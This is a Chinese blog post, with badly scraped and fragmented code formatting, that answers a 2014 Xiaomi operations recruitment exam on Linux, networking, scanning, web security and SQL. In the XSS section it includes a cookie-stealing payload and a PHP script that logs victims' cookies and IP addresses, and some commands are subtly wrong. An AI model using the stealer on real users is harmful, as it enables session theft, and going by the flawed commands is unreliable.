您的位置:首页 > 运维架构

小米运维部14年校招笔试题A的个人答案

2015-08-25 21:13 281 查看
具体题目详见http://www.tuicool.com/articles/eYRZBr

http://noops.me/?p=1154

一、linux基础

1)linux系统中如何获取pid为100的进程所监听的tcp端口,请给出详细命令?

【答】

方法一:

1
netstat
-nlg
|
grep
1950
2
[root@localhost
pierre]
#
netstat-nlp|grep1950
3
tcp
000.0.0.0:220.0.0.0:*LISTEN1950/sshd
4
tcp
00:::22:::*LISTEN1950/sshd
方法二:

1
ss
-pl|
grep
1950
2
[root@localhost
pierre]
#
ss-pl|grep1950
3
0
128:::
ssh
:::*
users
:((
"sshd"
,1950,4))
4
0
128*:
ssh
*:*
users
:((
"sshd"
,1950,3))
方法三:

1
lsof
-Pnl
+M-i4|
grep
1950
2
[root@localhost
pierre]
#
lsof-Pnl+M-i4|grep1950
3
sshd
195003uIPv4125990t0TCP*:22(LISTEN)
三种命令都可以实现,个人三种都会用,比较偏爱的是ss,当然有时候会忘记,这次正好总结一下

缺点:出来的结果,不一定是目的结果,grep的不一定是pid

2)如何查找在/home/work/log/路径下,修改时间在3天以前的文件,并将这些文件mv到/home/work/log/backup下?

1
【答】
1
find
/home/work/log
-mtime+3-
exec
mv
{}
/home/work/log/backup/{}\;
ps.补充几点

linux下find支持-mmin参数,以分为单位

find/home-mmin+30查30分钟前改动过的文件

find-mmin-10!-name"."不包括"."-mmin参数

find/home/work/log-mtime+3-execmv{}/home/work/log/backup/{}\;

find:missingargumentto`-exec'注意:“\;”部分不能有空格

1
[pierre@localhost
~]$stat.
File:`.'

Size:4096Blocks:8IOBlock:4096directory

Device:fd00h/64768dInode:262159Links:27

Access:(0700/drwx------)Uid:(500/pierre)Gid:(500/pierre)

Access:2015-08-2419:05:16.109807264+0800

Modify:2015-08-2419:05:14.028652856+0800

Change:2015-08-2419:05:14.028652856+0800

atimemtimectime的区别可以从stat的数据中发现一二,详细看我很久以前一篇水文:点我

3)操作系统中,父进程需要传输一份1KB的数据给子进程,有几种方法可以实现?并请给出一种方法的代码实现(语言不限)?

【答】

管道?内存共享?socket?这题目先留着,等有时间再好好答

4)需要抓取eth1网卡上从127.10.32.5发到本机8080端口的数据包,请列举你能想到的工具或者方法?并给出一个具体的方法的实现(详细命令或者代码)?

【答】

常用抓包工具就是tcpdump和wireshark。一般linux发行版会自带tcpdump(部分阉割版没有,像大疆无人机的)。而我们在本地电脑分析时可能偏爱wireshark。

本文假设是在服务器端抓包:

方法一:

1
tcpdump
-ieth1srchost127.10.32.5anddstport8080
在实战中,由于我对tcpdump不算特别熟,偏爱把包统统抓下,再移到本地用wireshark的显示过滤进行包的分析。ps.命令行界面分析数据包略蛋疼额

方法二:

1
tcpdump
-w
test
.cap
抓下所有包

利用

1
python
-mSimpleHTTPServer
开启一个简易server,将包传到本地电脑

在wireshark的filter里填写

1
ip.src==127.10.32.5
&&tcp.dstport==8080
//这里端口是要指明tcp还是udp的,端口是一种抽象的软件结构。8080端口可以同时为udp和tcp

wireshark的详细用法看我的这篇博客:点我

二、系统/网络

给一台服务器安装linux操作系统,请回答在安装和使用过程中遇到的一些问题:

1)服务器有6块600G的SAS磁盘,通过阵列卡做RAID5,请问实际操作系统可使用的空间是多大?

【答】

raid就是所谓的独立磁盘列阵,通过廉价的磁盘,实现数据的高可用。

常见的raid方法有:raid0;raid1;raid0+1;raid10等

RAID0是组建磁盘阵列中最简单的一种形式,只需要2块以上的硬盘即可,成本低,可以提高整个磁盘的性能和吞吐量。RAID0没有提供冗余或错误修复能力,但实现成本是最低的。

RAID1称为磁盘镜像,原理是把一个磁盘的数据镜像到另一个磁盘上,也就是说数据在写入一块磁盘的同时,会在另一块闲置的磁盘上生成镜像文件,在不影响性能情况下最大限度的保证系统的可靠性和可修复性上.

……

RAID5算是一种在RAID0和RAID1之间折中的做法(废话,其他raid也基本是的)。没有独立的奇偶校验盘,所有校验信息分散放在所有磁盘上,只是在存储空间上为N-1。所以可用是5*600=3000G

2)网络管理员告诉我们这台服务器使用10.0.0.128/26段中的第一个地址,网关是这段地址中的最后一个地址。请列出机器的IP地址、子网掩码和网关。

【答】

这个就比较简单,只要学过计算机网络的基本都会了解。

10.0.0.128/26最后一个化成二进制:10.0.0.10000000网络号就是这个,主机号就是后面六位数字,子网掩码是:255.255.255.192

可用ip一般会去掉第一个网络号ip和最后一个广播ip。所以第一个可用的ip地址是10.0.0.129,如题假设的网关就是10.0.0.191(网关并不一定就是最后一个ip)

3)服务器交付业务方使用后,使用netstat命令发现有大量的time_wait连接,请简述time_wait连接存在的原因。

【答】

这个可以看我这篇博文:点我(还没完全写完【掩面)想以最简单的话,阐述出来,所以写写删山,一直没完。
此外这个人的这个文章还是可以的:点我非常详细,推荐

什么时候会出现time_wait?

通信双方建立TCP连接后,主动关闭连接的一方就会进入TIME_WAIT状态。

time_wait存在的原因?

1)可靠地实现TCP全双工连接的终止

2)允许老的重复分节在网络中消逝

补充:

1.一般线上出现大量time_wait的重要背景是业务使用了nginx代理。由于nginx使用短链接的方式和后端大量交互,使得nginx和后端的ESTABLISHED变得很少而TIME_WAIT很多。这里就涉及到nginx的一些知识,我后续应该会把我学习nginx的笔记放出来。大家记得关注http://ww.bearzone.cc
2.time_wait的持续时间一般是2msl(maximumsegmentlifetime),rfc推荐msl=2分钟,linux貌似是1msl=30s,win是2min.此处没有特别深刻的理解

3.

1
netstat
-n
|
awk
'/^tcp/{++S[$NF]}
END{for(ainS)printa,S[a]}'
可以清晰查看当前的time_wait以及其他相似的tcp指标

4)简述TCP建立连接的过程;运维中经常nmap进行端口扫描,描述nmap进行TCP扫描的原理。

【答】

先扯两句:作为一个信息安全的学生,对安全还是小有研究,当然比较熟悉nmap的一些使用。以前貌似写过一篇博文关于nmap的,后来不知不觉就丢了,可惜!挂一篇lijiejie学长的博文吧,方便以后查看http://www.lijiejie.com/nmap-fast-scan-large-networks/
nmap全程:NetworkMapper。一个网络连接端扫描软件,用来扫端口啊,扫存活啊,扫指纹啊。由于扫描方案比较多,提供icmp、tcp和udp等多种协议,多种方案的,并且可以以一种比较猥琐的姿态实现扫描,所以还是很受欢迎的。

既然题目问的是TCP扫描,那我们就专谈TCP,以后也许会放上我对nmap的总结。

tcpsynscanning是nmap的默认扫描方式,通常被称作半开放扫描。简单而言,就是扫描时发送syn包到目的端口,如果收到syn/ack回复,那么就可以判断端口是开放的,如果收到的是rst包,那么端口就是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)简单而言,就是个三次握手建立一半的过程。

1
nmap
-sS***
tcpconnectscanning则是使用APIconnect向目的主机端口发起完整的连接。完整的三次握手,速度必然比较慢的,一般上面这种方法不行才会使用。

nmap-sT

tcpackscanning则是向目的主机的端口发送ack包,如果收到rst包,则说明端口没有被防火墙屏蔽;没有收到rst包,说明被屏蔽。一般用于辅助tcpsyn扫描

其他还有三种TCPFIN/Xmas/NULLscanning一般做安全的估计也没人用,ops当然也用的比较少。

5)Zmap是一个号称44分钟可以扫遍全球公网机器端口。结合TCP三次握手原理和系统编程知识,简述类似产品的设计思想,并尝试描述你的实现。

【答】

zmap以前有所耳闻,却总是和nmap的gui版zenmap搞混【掩面。上次和阿宝sin牛讨论这个时,才有所了解

参考:http://netsecurity.51cto.com/art/201308/407831.htm

如果想快速扫描全网,如果采用三次握手那种,是不可能的(无论那种做法,就算并发量达到极致,也达不到把)。而zmap采用一个非常猥琐的方法,采用无状态的方法,即向服务器发送请求时,不保持任何握手信息,而将收到的信息进行一些类似正则编码之类的处理,不对信息进行辨别。

这样避开三次握手的带来的开销,不过个人理解对返回数据的安全性和完整性带来一定挑战。

三、开发/安全

1)httpkeep-alive的作用是什么,有什么优缺点?

【答】

参考:http://www.cnblogs.com/huangfox/archive/2012/03/31/2426341.html

个人觉得比较好理解吧,避免一些连接的建立和重新建立。

建立连接,会伴随socket的建立等消耗系统资源的情况。

保持当前连接,同样会消耗系统资源。

所以参数的设置,应该要有一个不错的平衡。

2)简述cookie的作用,以及http
cookie和session的区别和联系

【答】

老生常谈的问题,我将新建一篇文章,把我的各种总结放上来,具体请关注:www.bearzone.cc。我相信会说的非常明白!

再次我就以最简单的话来表达:

cookie的作用就是弥补http无状态的缺陷。

cookie是客户端保持对的方案,session是服务器端保持的方案

session可以通过cookie机制协助完成,也可以通过url重写或表单隐藏字段完成。

3)对于cookie劫持攻击,给出至少两种防御方案

【答】

1.httponly

目前主流的一种简易方法,设置后可以让js无法调用cookie,对于防范xss确实有一定作用,不过对方使用xssproxy之后也没什么太大的作用

2.仅通过SSL来发送cookie。如果你要求浏览器在传输之前加密cookie,在传输中就不易遭受攻击

暂时先这两个,其实都存在较大缺陷,我在想想,有没有为只的

4)xss攻击中,给出一个窃取用户浏览器cookie的xss-payload

【答】

作为一个半安全的dog,

页面构造一个这个

1
<script>window.open(
'
);
05
$referer
=
getenv
(
'HTTP_REFERER'
);
06
$fp
=
fopen
(
'cookie.txt'
,
'a'
);
07
fwrite(
$fp
,
'Cookie:
'
.
$cookie
.'
08
IP:
'
.$ip.'
09
Date
and
Time:
'
.$time.'
10
Referer:
'.$referer.'
11
12
13
');
14
fclose(
$fp
);
15
?>
就这样一个简单的demo

5)xss问题产生的本质是什么,并阐述防御方案

【答】

这个问题在《白帽子讲web安全》这本书里有过描述,个人如果扯起来、、、估计又要扯半天,因为xss又分很多种,所以、、、、

简单而言,就是1.用户的能够控制了脚本的输入2.用户恶意拼接了脚本的输入。(定义收到道哥对sql注入的影响,大概就是这个意思。)

防范的话,可以采用一些方法:对用户的输入实现过滤,像php里的htmlspecialchars()这个函数来实现。

由于自己对xss理解也不是很深刻,只能简单到此,不继续扯了~

6)编码实现一个简单的http
server,至少支持GET请求解析和响应,编程语言不限

【答】

额,独立完成,纸上手写、、、如果真枪实弹,鸭梨三大!!!

思路一:投机取巧型

1
python
-mSimpleHTTPServer
直接调用python的模块

思路二:利用第三方的模块,半编码实现

01
package
main
02
03
import
(
04
"fmt"
05
"log"
06
"net/http"
07
)
08
09
func
sayHello(whttp.ResponseWriter,r*http.Request){
10
fmt
.Fprintf(w,
"hello
world!"
)
11
}
12
func
main(){
13
http.HandleFunc(
"/"
,
sayHello)
14
err
:=http.ListenAndServe(
":8880"
,
nil)
15
if
err
!=nil{
16
log.Fatal(
"ListenAndServe:
"
,
err.Error())
17
}
18
}
这是当时学go语言时,看七牛云存储ceo书模仿的一段,功能比较弱。

思路三:完全使用c/c++,不用第三方模块

难度比较大,暂时没这能力

补充:出题者貌似对思路一并不排斥~

四、数据库

某消费系统中包含2张表,用户信息表和消费流水表,结构和数据如下:

表这出现bug

1)请按要求写出上面两张表的建表sql语句;

【答】

额,由于好久没碰数据库了,只有为数不多的几次小项目用到相关sql,自己还是采用phpmyadmin、navicatforMySQL这些工具,再加上实习期间没怎么接触dba的工作,所以写sql语句生疏很多,几个关键句子都默默看了相关的书【掩面!

1
use
test_database;#自己定义的库名
2
create
table
user
(
3
ID
int
primary
key
AUTO_INCREMENT,
4
NAME
varchar
(10)
not
null
,
5
Balance
varchar
(10)
not
null
6
);
7
insert
into
user
(
NAME
,Balance)
values
(
"A"
,
"19.50"
);
其他类似,不一一列了

2)请分别写出下面两组sql语句的输出结果;

Deletefromuser;

Insertintouservalue(‘’,‘D’,300);

【答】

清空user表,表还在

插入新的数据,自增主键任然自增,ID为5

Truncateuser;

Insertintouservalue(‘’,‘D’,300);

【答】

清空user表

插入新数据,自增主键不自增,ID为1

主要应该就是考察delete和truncate的区别吧,二者都可以清空表的内容,不过,truncate同时会清空表的自增计时器。

3)请写出能产生下面查询结果的SQL语句:

4)系统运行一段时间后,流水表的记录变得非常大,通过用户名(NAME)查询用户消费记录(FEE)时响应速度非常慢,请简述你的优化方案。

【答】

对mysql的理解不是很多,

第一映像是增加索引,还有分区表什么的。唉,由于缺乏大量数据的经验,之前也没做过类似的,所以不是很了解。

【题目评价】

1.题目是小米运维部14年校招笔试题A的题目。

2.题目稍微偏实战一点,稍不注意可能以为是简单的社招题,在大公司实习的话帮助比较大。

3.题目整体上不算特别难,从我没完全结束的答题可以看出,我的博客或印象笔记几乎都有涉及。不过现场在白纸上做的话,很多细节都记不清,这个也很麻烦!很多东西其实真没必要去强背。

欢迎到我的博客:www.bear2.cn进行讨论
我的邮箱admin@bear2.cn
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: